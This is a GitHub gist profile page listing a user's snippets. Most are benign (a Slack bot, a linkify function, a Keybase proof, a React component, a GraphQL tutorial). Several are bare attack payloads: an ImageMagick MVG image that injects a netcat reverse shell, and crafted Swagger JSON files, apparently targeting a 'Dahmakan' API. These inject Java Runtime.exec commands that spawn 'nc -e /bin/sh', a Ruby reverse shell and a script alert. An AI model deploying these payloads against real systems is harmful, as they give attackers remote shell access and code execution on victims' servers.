Skip to content

Instantly share code, notes, and snippets.

not good, not terrible

Odi mathdroid

not good, not terrible
View GitHub Profile
View gist:759789332e485d879f8b
// Requiring our modules
var slackAPI = require('slackbotapi');
var request = require('request');
// Starting
var slack = new slackAPI({
'logging': true
View gist:c5e51a3784dcafd4d16c
function urlify(text) {
var urlRegex = /(https?:\/\/[^\s]+)/g;
return text.replace(urlRegex, function(url) {
return '<a href="' + url + '">' + url + '</a>';
// or
// return text.replace(urlRegex, '<a href="$1">$1</a>')
var text = "Find me at and also at";

Keybase proof

I hereby claim:

  • I am mathdroid on github.
  • I am mathdroid ( on keybase.
  • I have a public key whose fingerprint is A736 307A 2053 E7AF 459D D794 CA0A 04FE A58A D8AC

To claim this, I am signing this object:

View payload2.jpg
push graphic-context
viewbox 0 0 640 480
fill 'url("; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9700 >/tmp/f;touch "hello)'
pop graphic-context
View swaggr.json
{"apiVersion":"1.0","swaggerVersion":"1.2","apis":[{"path":"/default/allergy-resource","description":"Allergy Resource"},{"path":"/default/delivery-resource","description":"Delivery Resource"},{"path":"/default/ingredient-resource","description":"Ingredient Resource"},{"path":"/default/menu-resource","description":"Menu Resource"},{"path":"/default/old-menu-resource","description":"Old Menu Resource"},{"path":"/default/old-order-resource","description":"Old Order Resource"},{"path":"/default/old-user-resource","description":"Old User Resource"},{"path":"/default/order-resource","description":"Order Resource"},{"path":"/default/route-resource","description":"Route Resource"}],"info":{"title":"Dahmakan API","description":"API for Dahmakan"},
"paths": {
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"ls\");}catch(Exception e){} \"":"lol"}}
View exploit9.json
{"path":"/a\"; try{java.lang.Runtime.getRuntime().exec(\"nc -e /bin/sh 9700\");}catch(Exception e){} \"","description":"Allergy Resource"}
"info": {
"title": "=end `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9700 >/tmp/f`"
View exp4.json
"description":"API for Dahmakan<script>alert('yoms3ama')</script>"
"authorizations": {
"/a\"; try{java.lang.Runtime.getRuntime().exec(\"nc -e /bin/sh 9700\");}catch(Exception e){} \"": "lol"
#! /usr/bin/env bash
# Requirements:
# - `primitive` @,
# - `imagemagick` @,
# - `ffmpeg` @
# Make sure your input photo is named `input.jpg` (variable support later!)
# keep yo folder neat
View index.js
import { Component } from "react";
export default class Selector extends Component {
constructor() {
this.state = {
value: "a",
num: 0
this.handleChange = this.handleChange.bind(this);
this.handleChangeNum = this.handleChangeNum.bind(this);
mathdroid /
Created Jul 19, 2018 — forked from swalkinshaw/
Designing a GraphQL API

Tutorial: Designing a GraphQL API

This tutorial was created by Shopify for internal purposes. We've created a public version of it since we think it's useful to anyone creating a GraphQL API.

It's based on lessons learned from creating and evolving production schemas at Shopify over almost 3 years. The tutorial has evolved and will continue to change in the future so nothing is set in stone.

You can’t perform that action at this time.